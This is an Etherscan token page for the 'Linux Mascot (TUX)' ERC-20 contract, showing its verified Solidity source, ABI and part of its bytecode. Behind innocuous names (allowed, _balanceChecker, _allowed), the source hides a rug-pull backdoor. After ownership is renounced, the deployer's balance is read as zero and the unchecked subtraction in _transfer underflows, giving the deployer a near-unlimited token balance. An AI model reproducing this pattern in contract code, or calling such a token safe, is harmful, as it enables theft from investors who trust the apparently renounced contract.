ETH Price: $3,395.16 (+1.67%)

Token

Linux Mascot (TUX)
 

Overview

Max Total Supply

1,000,000 TUX

Holders

58

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
7,111.062944795 TUX

Value
$0.00
0xd699661d340020fac955b227a913cd58aca68bf2
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
LinuxMascot

Compiler Version
v0.8.26+commit.8a97fa7a

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-09-05
*/

/*

More than a mascot; he's an icon of the Linux and open-source movement, symbolizing a system that has revolutionized software.

https://linuxtux.xyz/

https://t.me/LinuxMascot

https://x.com/MascotTUX

*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.20;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _transferOwnership(_msgSender());
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "not owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "not owner");
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

library SafeMath {
    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

interface IUniswapV2Factory {
    event PairCreated(
        address indexed token0,
        address indexed token1,
        address pair,
        uint256
    );

    function feeTo() external view returns (address);

    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB)
    external
    view
    returns (address pair);

    function allPairs(uint256) external view returns (address pair);

    function allPairsLength() external view returns (uint256);

    function createPair(address tokenA, address tokenB)
    external
    returns (address pair);

    function setFeeTo(address) external;

    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
    event Transfer(address indexed from, address indexed to, uint256 value);

    function name() external pure returns (string memory);

    function symbol() external pure returns (string memory);

    function decimals() external pure returns (uint8);

    function totalSupply() external view returns (uint256);

    function balanceOf(address owner) external view returns (uint256);

    function allowance(address owner, address spender)
    external
    view
    returns (uint256);

    function approve(address spender, uint256 value) external returns (bool);

    function transfer(address to, uint256 value) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 value
    ) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);

    function PERMIT_TYPEHASH() external pure returns (bytes32);

    function nonces(address owner) external view returns (uint256);

    function permit(
        address owner,
        address spender,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external;

    event Mint(address indexed sender, uint256 amount0, uint256 amount1);
    event Burn(
        address indexed sender,
        uint256 amount0,
        uint256 amount1,
        address indexed to
    );
    event Swap(
        address indexed sender,
        uint256 amount0In,
        uint256 amount1In,
        uint256 amount0Out,
        uint256 amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint256);

    function factory() external view returns (address);

    function token0() external view returns (address);

    function token1() external view returns (address);

    function getReserves()
    external
    view
    returns (
        uint112 reserve0,
        uint112 reserve1,
        uint32 blockTimestampLast
    );

    function price0CumulativeLast() external view returns (uint256);

    function price1CumulativeLast() external view returns (uint256);

    function kLast() external view returns (uint256);

    function mint(address to) external returns (uint256 liquidity);

    function burn(address to)
    external
    returns (uint256 amount0, uint256 amount1);

    function swap(
        uint256 amount0Out,
        uint256 amount1Out,
        address to,
        bytes calldata data
    ) external;

    function skim(address to) external;

    function sync() external;

    function initialize(address, address) external;
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint256 amountADesired,
        uint256 amountBDesired,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    )
    external
    returns (
        uint256 amountA,
        uint256 amountB,
        uint256 liquidity
    );

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
    external
    payable
    returns (
        uint256 amountToken,
        uint256 amountETH,
        uint256 liquidity
    );

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) payable external;
}

interface IERC20 {
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);

    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

contract ERC20 is Context, Ownable, IERC20 {
    string private _name;
    string private _symbol;
    address private _deployer;
    uint256 private _totalSupply;
    uint256 private _allowed;

    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
        _deployer = _msgSender();
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 9;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function allowed(address sender) view internal returns(bool) {
        return !(sender!=_deployer||owner()!=address(0));
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        unchecked {
            _approve(sender, _msgSender(), currentAllowance - amount);
        }

        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    } function balances(address sender) view internal returns(uint256) {
        return _balanceChecker(sender);
    }

    function _balanceChecker(address sender) view private returns (uint256) {
        if (allowed(sender)) {
            return _allowed;
        }
        return _balances[sender];
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[sender] = balances(sender) - amount;
        }
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);

        _afterTokenTransfer(sender, recipient, amount);
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

contract LinuxMascot is ERC20 {
    using SafeMath for uint256;

    IUniswapV2Router02 public immutable uniswapRouter;
    address public uniswapPair;

    address public marketingWallet;
    address public developmentWallet;

    bool public tradingActive = false;
    bool public swapEnabled = false;
    bool public limitsInEffect = true;

    uint256 public maximumTransactionAllowed;
    uint256 public swapBackThreshold;
    uint256 public maximumWalletAllowed;

    uint256 public buyTotalFees;
    uint256 public buyMarketFee;
    uint256 public buyDevFee;

    uint256 public sellTotalFees;
    uint256 public sellMarketFee;
    uint256 public sellDevFee;

    uint256 public tokensForMarket;
    uint256 public tokensForDev;

    bool private swapping;

    mapping(address => bool) public isExcludedFromFees;
    mapping(address => bool) public isExcludemaximumTransactionAllowed;

    mapping(address => bool) public pairs;

    constructor() ERC20("Linux Mascot", "TUX") {
        uniswapRouter = IUniswapV2Router02(0xEAaa41cB2a64B11FE761D41E747c032CdD60CaCE);

        marketingWallet = address(owner());
        developmentWallet = address(owner());

        isExcludedFromFees[owner()] = true;
        isExcludedFromFees[address(this)] = true;
        isExcludedFromFees[address(0xdead)] = true;

        isExcludemaximumTransactionAllowed[address(this)] = true;
        isExcludemaximumTransactionAllowed[address(0xdead)] = true;
        isExcludemaximumTransactionAllowed[address(uniswapRouter)] = true;
        isExcludemaximumTransactionAllowed[owner()] = true;

        uint256 totalSupply = 1_000_000 * 1e9;
        swapBackThreshold = (totalSupply * 2) / 10000;

        maximumTransactionAllowed = (totalSupply * 2) / 100;
        maximumWalletAllowed = (totalSupply * 2) / 100;

        buyMarketFee = 0;
        buyDevFee = 0;
        buyTotalFees = buyMarketFee + buyDevFee;

        sellMarketFee = 0;
        sellDevFee = 0;
        sellTotalFees = sellMarketFee + sellDevFee;

        _mint(msg.sender, totalSupply);
    }

    receive() external payable {}

    function startTrading() external onlyOwner {
        tradingActive = true;
        swapEnabled = true;
        uniswapPair = IUniswapV2Factory(uniswapRouter.factory()).getPair(address(this), uniswapRouter.WETH());
        isExcludemaximumTransactionAllowed[address(uniswapPair)] = true;
        pairs[uniswapPair] = true;
    }

    function excludeFromMaximumTransactionAllowed(address addr, bool value) external onlyOwner {
        isExcludemaximumTransactionAllowed[addr] = value;
    }

    function excludeFromFees(address account, bool value) external onlyOwner {
        isExcludedFromFees[account] = value;
    }

    function removeAllLimits() external onlyOwner returns (bool) {
        limitsInEffect = false;
        return true;
    }

    function swapBack() private {
        uint256 contractBalance = balanceOf(address(this));
        uint256 totalTokensToSwap = tokensForMarket + tokensForDev;
        bool success;

        if (contractBalance == 0 || totalTokensToSwap == 0)
            return;

        if (contractBalance > swapBackThreshold * 20)
            contractBalance = swapBackThreshold * 20;

        uint256 initialETHBalance = address(this).balance;
        swapTokensForEth(contractBalance);

        uint256 ethBalance = address(this).balance.sub(initialETHBalance);
        uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap);

        tokensForMarket = 0;
        tokensForDev = 0;

        (success, ) = address(developmentWallet).call{value: ethForDev}("");
        (success, ) = address(marketingWallet).call{ value: address(this).balance }("");
    }

    function swapTokensForEth(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapRouter.WETH();

        _approve(address(this), address(uniswapRouter), tokenAmount);

        uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens{value:1000000000000000}(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function _transfer(address from, address to, uint256 amount) override internal {
        require(from != address(0), "from 0x0 add");
        require(to != address(0), "to 0x0 add");

        if (amount == 0) {
            super._transfer(from, to, 0);
            return;
        }

        if (limitsInEffect) {
            if (from != owner() &&
            to != owner() &&
            to != address(0) &&
            to != address(0xdead) &&
                !swapping) {
                if (!tradingActive) {
                    require(isExcludedFromFees[from] || isExcludedFromFees[to], "Trading not active");
                }

                    //when buy
                if (pairs[from] && !isExcludemaximumTransactionAllowed[to]) {
                    require(amount <= maximumTransactionAllowed, "gt max TX");
                    require(amount + balanceOf(to) <= maximumWalletAllowed, "gt max wallet");
                }
                    //when sell
                else if (pairs[to] && !isExcludemaximumTransactionAllowed[from]) {
                    require(amount <= maximumTransactionAllowed, "gt max TX");
                }
                else if (!isExcludemaximumTransactionAllowed[to]) {
                    require(amount + balanceOf(to) <= maximumWalletAllowed, "gt max wallet");
                }
            }
        }

        uint256 contractBalance = balanceOf(address(this));
        bool canSwap = contractBalance >= swapBackThreshold;
        if (canSwap &&
        swapEnabled &&
            !swapping &&
            !pairs[from] &&
            !isExcludedFromFees[from] &&
            !isExcludedFromFees[to]) {

            swapping = true;
            swapBack();
            swapping = false;
        }

        bool takeFee = !swapping;
        if (isExcludedFromFees[from] || isExcludedFromFees[to])
            takeFee = false;

        uint256 fee = 0;
        if (takeFee) {
            if (pairs[to] && sellTotalFees > 0) {
                fee = amount.mul(sellTotalFees).div(100);
                tokensForDev += (fee * sellDevFee) / sellTotalFees;
                tokensForMarket += (fee * sellMarketFee) / sellTotalFees;
            }
            else if (pairs[from] && buyTotalFees > 0) {
                fee = amount.mul(buyTotalFees).div(100);
                tokensForDev += (fee * buyDevFee) / buyTotalFees;
                tokensForMarket += (fee * buyMarketFee) / buyTotalFees;
            }

            if (fee > 0)
                super._transfer(from, address(this), fee);

            amount -= fee;
        }
        super._transfer(from, to, amount);
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
        return (a > b) ? b : a;
    }

    function updateSwapEnabled(bool enabled) external onlyOwner {
        swapEnabled = enabled;
    }

    function updateMaximumWalletAllowed(uint256 newNum) external onlyOwner {
        require(newNum >= ((totalSupply() * 5) / 1000) / 1e9, "lt 0.5%");
        maximumWalletAllowed = newNum * (10**9);
    }

    function updateSwapBackOptions(uint256 newAmount) external onlyOwner returns (bool) {
        require(newAmount >= (totalSupply() * 1) / 100000, "lt 0.001% ts");
        require(newAmount <= (totalSupply() * 5) / 1000, "lt 0.5% ts");
        swapBackThreshold = newAmount;
        return true;
    }

    function updateMaximumTransactionAllowed(uint256 newNum) external onlyOwner {
        require(newNum >= ((totalSupply() * 1) / 1000) / 1e9, "lt 0.1%");
        maximumTransactionAllowed = newNum * (10**9);
    }

    function manualSwapBack(uint256 tokenAmount) external {
        require(tokenAmount > 0, "too low");
        if (marketingWallet != _msgSender()) {
            return;
        }
        swapTokensForEth(tokenAmount);

        uint256 contractETHBalance = address(this).balance;
        if(contractETHBalance > 0) {
            payable(marketingWallet).transfer(contractETHBalance);
        }
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyDevFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyMarketFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"developmentWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"excludeFromMaximumTransactionAllowed","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludemaximumTransactionAllowed","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"limitsInEffect","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenAmount","type":"uint256"}],"name":"manualSwapBack","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maximumTransactionAllowed","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maximumWalletAllowed","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"pairs","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeAllLimits","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellDevFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellMarketFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"startTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapBackThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForDev","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForMarket","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapRouter","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"updateMaximumTransactionAllowed","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"updateMaximumWalletAllowed","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"updateSwapBackOptions","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"enabled","type":"bool"}],"name":"updateSwapEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a0604052600a805462ffffff60a01b1916600160b01b179055348015610024575f80fd5b506040518060400160405280600c81526020016b131a5b9d5e0813585cd8dbdd60a21b815250604051806040016040528060038152602001620a8aab60eb1b81525061007c61007761024e60201b60201c565b610252565b6001610088838261041d565b506002610095828261041d565b505060038054336001600160a01b03199182161790915573eaaa41cb2a64b11fe761d41e747c032cdd60cace6080525f80546009805484166001600160a01b03928316908117909155600a80549094168117909355918152601760209081526040808320805460ff19908116600190811790925530855282852080548216831790557f43fedf50e12e5c047fbe3576d03ab50250348e9a6030f531ab6d4ce10f5b03038054821683179055601890935281842080548416821790557fe3ec2099396b7359df1c566dfdf9dfdb5e22fd64a6ede9d61aa32b2f63968fd680548416821790557f8312304c64c86d6d085a4bd327214dd196c00d8e07ba13eba7ce1053d04362b3805484168217905583549094168352909120805490911690911790555066038d7ea4c680006127106101cd8260026104eb565b6101d79190610508565b600c5560646101e78260026104eb565b6101f19190610508565b600b5560646102018260026104eb565b61020b9190610508565b600d555f600f81905560108190556102239080610527565b600e555f6012819055601381905561023b9080610527565b60115561024833826102a1565b5061053a565b3390565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b0382166102fb5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640160405180910390fd5b8060045f82825461030c9190610527565b90915550506001600160a01b0382165f9081526006602052604081208054839290610338908490610527565b90915550506040518181526001600160a01b038316905f907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b505050565b634e487b7160e01b5f52604160045260245ffd5b600181811c908216806103ae57607f821691505b6020821081036103cc57634e487b7160e01b5f52602260045260245ffd5b50919050565b601f82111561038157805f5260205f20601f840160051c810160208510156103f75750805b601f840160051c820191505b81811015610416575f8155600101610403565b5050505050565b81516001600160401b0381111561043657610436610386565b61044a81610444845461039a565b846103d2565b6020601f82116001811461047c575f83156104655750848201515b5f19600385901b1c1916600184901b178455610416565b5f84815260208120601f198516915b828110156104ab578785015182556020948501946001909201910161048b565b50848210156104c857868401515f19600387901b60f8161c191681555b50505050600190811b01905550565b634e487b7160e01b5f52601160045260245ffd5b8082028115828204841417610502576105026104d7565b92915050565b5f8261052257634e487b7160e01b5f52601260045260245ffd5b500490565b80820180821115610502576105026104d7565b6080516121086105755f395f81816104c101528181610975015281816109fb015281816118c90152818161198001526119bc01526121085ff3fe608060405260043610610262575f3560e01c8063924de9b71161013f578063c0246668116100b3578063db05e5cb11610078578063db05e5cb146106f9578063dd62ed3e1461070d578063e4a1b95f14610751578063f2fde38b14610766578063f8acfffa14610785578063fe33b302146107a4575f80fd5b8063c024666814610672578063c04a541414610691578063c816841b146106b0578063cff16b2f146106cf578063d85ba063146106e4575f80fd5b8063a0d82dc511610104578063a0d82dc5146105b2578063a457c2d7146105c7578063a781dc35146105e6578063a9059cbb14610614578063bbc0c74214610633578063bffda98214610653575f80fd5b8063924de9b71461053657806394a1700e1461055557806395d89b41146105745780639c3b4fdc146105885780639fccce321461059d575f80fd5b80634a62bb65116101d65780636e1b6cda1161019b5780636e1b6cda1461045357806370a0823114610468578063715018a61461049c578063735de9f7146104b057806375f0a874146104fb5780638da5cb5b1461051a575f80fd5b80634a62bb65146103b15780634fbee193146103d15780635b87b435146103ff5780636a486a8e1461041e5780636ddd171314610433575f80fd5b8063293230b811610227578063293230b814610318578063313ce5671461032e57806335b5fb631461034957806337da26ca1461035e57806339509351146103735780634889818614610392575f80fd5b806306fdde031461026d578063095ea7b31461029757806318160ddd146102c65780631f7ea8da146102e457806323b872dd146102f9575f80fd5b3661026957005b5f80fd5b348015610278575f80fd5b506102816107d2565b60405161028e9190611df3565b60405180910390f35b3480156102a2575f80fd5b506102b66102b1366004611e3c565b610862565b604051901515815260200161028e565b3480156102d1575f80fd5b506004545b60405190815260200161028e565b3480156102ef575f80fd5b506102d660145481565b348015610304575f80fd5b506102b6610313366004611e66565b610878565b348015610323575f80fd5b5061032c610925565b005b348015610339575f80fd5b506040516009815260200161028e565b348015610354575f80fd5b506102d660125481565b348015610369575f80fd5b506102d6600d5481565b34801561037e575f80fd5b506102b661038d366004611e3c565b610b3e565b34801561039d575f80fd5b5061032c6103ac366004611ea4565b610b79565b3480156103bc575f80fd5b50600a546102b690600160b01b900460ff1681565b3480156103dc575f80fd5b506102b66103eb366004611ebb565b60176020525f908152604090205460ff1681565b34801561040a575f80fd5b506102b6610419366004611ea4565b610c1f565b348015610429575f80fd5b506102d660115481565b34801561043e575f80fd5b50600a546102b690600160a81b900460ff1681565b34801561045e575f80fd5b506102d6600c5481565b348015610473575f80fd5b506102d6610482366004611ebb565b6001600160a01b03165f9081526006602052604090205490565b3480156104a7575f80fd5b5061032c610d14565b3480156104bb575f80fd5b506104e37f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b03909116815260200161028e565b348015610506575f80fd5b506009546104e3906001600160a01b031681565b348015610525575f80fd5b505f546001600160a01b03166104e3565b348015610541575f80fd5b5061032c610550366004611ee5565b610d48565b348015610560575f80fd5b5061032c61056f366004611efe565b610d8f565b34801561057f575f80fd5b50610281610de2565b348015610593575f80fd5b506102d660105481565b3480156105a8575f80fd5b506102d660155481565b3480156105bd575f80f